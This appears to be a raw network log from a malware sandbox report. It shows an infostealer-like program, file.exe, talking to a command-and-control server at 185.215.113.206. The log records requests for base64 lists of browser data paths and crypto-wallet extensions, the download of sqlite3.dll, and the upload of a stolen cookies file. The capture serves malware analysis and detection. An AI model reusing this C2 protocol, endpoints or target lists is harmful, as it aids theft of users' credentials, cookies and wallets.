Nov 24, 2024 02:13:03.327035904 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 41 7a 4e 32 4d 33 4e 6a 49 32 4e 44 6c 69 4d 47 52 69 4d 47 45 31 59 57 46 68 4d 54 45 77 4e 7a 4d 77 4d 6a 59 78 4d 47 52 6b 59 54 45 7a 4d 6d 49 79 4d 44 55 31 4e 7a 49 33 59 7a 63 35 4d 6a 64 6c 4f 44 56 69 4d 6d 5a 6b 4e 32 45 77 4d 57 4a 6d 5a 6a 64 68 4e 32 49 31 5a 6a 55 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjAzN2M3NjI2NDliMGRiMGE1YWFhMTEwNzMwMjYxMGRkYTEzMmIyMDU1NzI3Yzc5MjdlODViMmZkN2EwMWJmZjdhN2I1ZjU2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 02:13:03.335021019 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAEHJJJKJKFIDGCBGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 2d 2d 0d 0a Data Ascii: ------JECAEHJJJKJKFIDGCBGIContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JECAEHJJJKJKFIDGCBGIContent-Disposition: form-data; name="message"browsers------JECAEHJJJKJKFIDGCBGI--
Nov 24, 2024 02:13:03.774652958 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 02:13:03.774708986 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 02:13:03.782445908 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="message"plugins------JJDBGDHIIDAEBFHJJDBF--
Nov 24, 2024 02:13:04.221615076 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 02:13:04.221628904 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 02:13:04.221640110 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 02:13:04.221693039 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 24, 2024 02:13:04.221704006 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 24, 2024 02:13:04.221709967 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 24, 2024 02:13:04.229759932 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 24, 2024 02:13:04.231344938 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"fplugins------EBAFBGIDHCBFHIECFCBG--
Nov 24, 2024 02:13:04.676203012 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 02:13:04.692401886 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBF Host: 185.215.113.206 Content-Length: 6611 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 02:13:04.692450047 CET	6611	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 Data Ascii: ------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 02:13:05.775798082 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:06.456962109 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:06.917659998 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 02:13:06.917726994 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 02:13:06.921722889 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49748	185.215.113.206	80	6924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:16.180167913 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJDGDBFBGIDGIEBGHCGI--
Nov 24, 2024 02:13:18.063785076 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:18.249794960 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAE Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
